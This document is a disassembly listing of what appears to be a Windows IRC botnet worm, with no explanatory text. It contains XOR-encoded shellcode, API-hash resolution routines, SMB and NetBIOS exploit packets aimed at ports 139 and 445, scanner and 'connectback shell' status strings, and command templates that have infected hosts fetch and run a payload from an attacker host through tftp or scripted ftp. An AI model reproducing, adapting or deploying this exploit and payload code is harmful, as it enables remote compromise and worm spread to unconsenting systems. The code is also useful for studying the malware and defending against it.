aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DDCCo
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DDC8o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DDC4o
		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DDC0o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DDBCo
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DDB8o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DDB4o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DDB0o
aBady		db 'Bady',0             ; DATA XREF: ___:0042DDACo
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DDA8o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DDA4o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DDA0o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DD9Co
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DD98o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DD94o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DD90o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DD8Co
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DD88o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DD84o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DD80o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DD7Co
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DD78o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DD74o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DD70o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DD6Co
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DD68o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DD64o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DD60o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DD5Co
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DD58o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DD54o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042DD50o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042DD4Co
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042DD48o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042DD44o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042DD40o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042DD3Co
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042DD38o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042DD34o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042DD30o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042DD2Co
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042DD28o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042DD24o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042DD20o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042DD1Co
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042DD18o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042DD14o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042DD10o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042DD0Co
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042DD08o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042DD04o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042DD00o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42DCFCo
aAdams		db 'Adams',0            ; DATA XREF: ___:0042DCF8o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042DCF4o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42DCF0o
		align 4
byte_431948	db 50h			; DATA XREF: ___:0040ADF0o
					; ___:0040ADFDr
		db 43h,	2 dup(0)
dword_43194C	dd 7C7325h		; DATA XREF: ___:0040AE9Bo
dword_431950	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA5o
dword_431958	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Co
					; sub_41AA43:loc_41AB06o
dword_43195C	dd 334B32h		; DATA XREF: ___:0040AF95o
dword_431960	dd 5058h		; DATA XREF: ___:0040AF87o
					; sub_41AA43+AAo
dword_431964	dd 4B32h		; DATA XREF: ___:0040AF77o
					; sub_41AA43+98o
dword_431968	dd 454Dh		; DATA XREF: ___:0040AF5Eo
					; sub_41AA43+7Eo
dword_43196C	dd 3839h		; DATA XREF: ___:0040AF4Eo
					; sub_41AA43+6Co
dword_431970	dd 544Eh		; DATA XREF: ___:0040AF3Eo
					; sub_41AA43+5Ao
dword_431974	dd 3539h		; DATA XREF: ___:0040AF30o
					; sub_41AA43+46o
dword_431978	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEB+3Ao
off_431980	dd offset byte_5D4D5B	; DATA XREF: sub_40AFEB+2Co
					; sub_40AFEB+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEB+18o
					; sub_418212+5o
		align 4
		jmp	short loc_431990
; ---------------------------------------------------------------------------


loc_43198E:				; CODE XREF: ___:loc_431990p
		jmp	short loc_431995
; ---------------------------------------------------------------------------


loc_431990:				; CODE XREF: ___:0043198Cj
		call	loc_43198E


loc_431995:				; CODE XREF: ___:loc_43198Ej
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_43199C:				; CODE XREF: ___:004319A1j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_43199C
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_4319B2:				; CODE XREF: ___:004319B7j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4319B2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_431A54
		jnz	short loc_431A40
		retn
; ---------------------------------------------------------------------------


loc_431A40:				; CODE XREF: ___:00431A3Dj
					; ___:00431A4Dj
		call	near ptr loc_431A45+1


loc_431A45:				; CODE XREF: ___:loc_431A40p
		add	[edx+0], ch
		call	sub_431A54
		jz	loc_431A40
		retn

; =============== S U B	R O U T	I N E =======================================



sub_431A54	proc near		; CODE XREF: ___:00431A38p
					; ___:00431A48p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_431A54	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B385+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B385+35o
		align 8
aSym		db 'sym',0              ; DATA XREF: sub_40C125+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DB+30o
		align 4
		dd 5 dup(0)
dword_431B00	dd 0B97h		; DATA XREF: sub_401ACD+1DA1r
					; sub_401ACD+1DCAo ...
off_431B04	dd offset sub_40E0D1	; DATA XREF: sub_40C125+1EAr
dword_431B08	dd 0			; DATA XREF: sub_40B64B+2Eo
					; ___:0040D496w ...
dword_431B0C	dd 1			; DATA XREF: sub_40BACE+1Fr
dword_431B10	dd 1			; DATA XREF: sub_40BACE+3B3r
dword_431B14	dd 0			; DATA XREF: sub_40BACE+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E207h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Fh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 10h
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Fh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 10h
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2DAh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2DAh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2DAh, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 10h
		db 2 dup(0)
byte_431CE2	db 1			; DATA XREF: sub_401ACD:loc_4037E7r
					; sub_401ACD+1D24o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431D0E

; =============== S U B	R O U T	I N E =======================================



sub_431CFE	proc near		; CODE XREF: sub_431CFE:loc_431D0Ep
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_431D06:				; CODE XREF: sub_431CFE+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431D06
		jmp	short loc_431D13
; ---------------------------------------------------------------------------


loc_431D0E:				; CODE XREF: ___:00431CFCj
		call	sub_431CFE


loc_431D13:				; CODE XREF: sub_431CFE+Ej
		jo	short near ptr dword_431C9C+12h
		cwde
		cdq
		cdq
		retn
sub_431CFE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64B+86o
		align 10h
dword_431E90	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64B+46o
unk_431E9C	db  2Dh	; -		; DATA XREF: sub_40B64B+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431EBC	db  2Dh	; -		; DATA XREF: sub_40B71A+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431F04	db  2Dh	; -		; DATA XREF: sub_40B786+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DB+7Fo
dword_431F40	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DB+40o
dword_431F50	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DB+14o
		dd 7473694Ch, 3Ah
unk_431F6C	db  2Dh	; -		; DATA XREF: ___:0040BA14o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431FA0	db  2Dh	; -		; DATA XREF: ___:0040B922o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_431FD0	db  2Dh	; -		; DATA XREF: sub_40BA57+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_431FF0	db  2Dh	; -		; DATA XREF: sub_40BA57+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_43200C	db  2Dh	; -		; DATA XREF: sub_40BACE+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_432040	db  2Dh	; -		; DATA XREF: sub_40BACE+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_432078	db  2Dh	; -		; DATA XREF: sub_40BACE+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_4320A8	db  2Dh	; -		; DATA XREF: sub_40BACE+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4320DC	db  2Dh	; -		; DATA XREF: sub_40BACE+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_432110	db  2Dh	; -		; DATA XREF: sub_40BACE+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_432144	db  2Dh	; -		; DATA XREF: sub_40C125+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_43216C	db  2Dh	; -		; DATA XREF: sub_40C125+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4321A4	db  2Dh	; -		; DATA XREF: sub_40C125+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_4321E4	db  2Dh	; -		; DATA XREF: sub_40C125+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_43221C	db  2Dh	; -		; DATA XREF: sub_40C125+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_432250	db  2Dh	; -		; DATA XREF: sub_40C125+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_432284	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59C+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADB+B2o
		align 4
dword_432338	dd 10FF8h, 0		; DATA XREF: sub_40CADB+6Ao
dword_432340	dd 10FF8h		; DATA XREF: sub_40CADB+79o
dword_432344	dd 7FFDF020h, 0		; DATA XREF: sub_40CADB+162o
dword_43234C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF05+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4323D4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF05+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_432404	dd 0			; DATA XREF: sub_40CF05+44o
		dd 800000D4h, 0
unk_432410	db  81h	; 		; DATA XREF: sub_40CFDF+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_43245C	db 41h			; DATA XREF: sub_40D07D+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4324A0	proc near		; DATA XREF: ___:0040D35Co
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_43259C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4325B2
		mov	[esi+8], eax
		call	sub_432565
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4325B2
		mov	[esi+0Ch], eax
		call	sub_432517
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4325B2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4324A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_432517	proc near		; CODE XREF: sub_4324A0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432540
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_432517	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432540	proc near		; CODE XREF: sub_432517+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_43254F:				; CODE XREF: sub_432540+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_43255C
		inc	ebx
		jmp	short loc_43254F
; ---------------------------------------------------------------------------


loc_43255C:				; CODE XREF: sub_432540+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432540	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432565	proc near		; CODE XREF: sub_4324A0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_43257D:				; CODE XREF: sub_432565+1Ej
		cmp	[ecx], ebx
		jz	short loc_432585
		mov	ecx, [ecx]
		jmp	short loc_43257D
; ---------------------------------------------------------------------------


loc_432585:				; CODE XREF: sub_432565+1Aj
		mov	edx, edi


loc_432587:				; CODE XREF: sub_432565+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432591
		mov	edx, [edx+4]
		jmp	short loc_432587
; ---------------------------------------------------------------------------


loc_432591:				; CODE XREF: sub_432565+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_432565	endp


; =============== S U B	R O U T	I N E =======================================



sub_43259C	proc near		; CODE XREF: sub_4324A0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_43259C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4325B2	proc near		; CODE XREF: sub_4324A0+16p
					; sub_4324A0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4325C8:				; CODE XREF: sub_4325B2+33j
		jecxz	short loc_432602
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4325D5:				; CODE XREF: sub_4325B2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4325E1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4325D5
; ---------------------------------------------------------------------------


loc_4325E1:				; CODE XREF: sub_4325B2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4325C8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_432602:				; CODE XREF: sub_4325B2:loc_4325C8j
					; sub_4325B2:loc_432602j
		jmp	short loc_432602
sub_4325B2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_432608	proc near		; DATA XREF: ___:0040D30Ao

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_43265A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_432625:				; CODE XREF: sub_432608+38j
		jecxz	short loc_432655
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432630:				; CODE XREF: sub_432608+32j
		lodsb
		test	al, al
		jz	short loc_43263C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432630
; ---------------------------------------------------------------------------


loc_43263C:				; CODE XREF: sub_432608+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_432625
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_432655:				; CODE XREF: sub_432608:loc_432625j
		mov	[esp+arg_0], ebx
		retn
sub_432608	endp


; =============== S U B	R O U T	I N E =======================================



sub_43265A	proc near		; CODE XREF: sub_432608+7p

; FUNCTION CHUNK AT 00432692 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_432673
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_43267E
; ---------------------------------------------------------------------------


loc_432673:				; CODE XREF: sub_43265A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_43267E:				; CODE XREF: sub_43265A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_432692
sub_43265A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432685	proc near		; CODE XREF: sub_43265A:loc_432692p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_432685	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43265A


loc_432692:				; CODE XREF: sub_43265A+29j
		call	sub_432685


loc_432697:				; DATA XREF: sub_40CADB+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_43265A
; ---------------------------------------------------------------------------
		dw 0
dword_43269C	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADB+2F5o
dword_4326A8	dd 30h			; DATA XREF: sub_40CADB+2CAo
dword_4326AC	dd 0A1h			; DATA XREF: sub_40CADB+29Fo
dword_4326B0	dd 3			; DATA XREF: sub_40CADB+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADB+153o
		align 4


loc_4326BC:				; DATA XREF: sub_40CADB+E8o
		jmp	short near ptr dword_4326C4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4326C4	dd 0			; CODE XREF: ___:loc_4326BCj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D331o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_432730	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Co
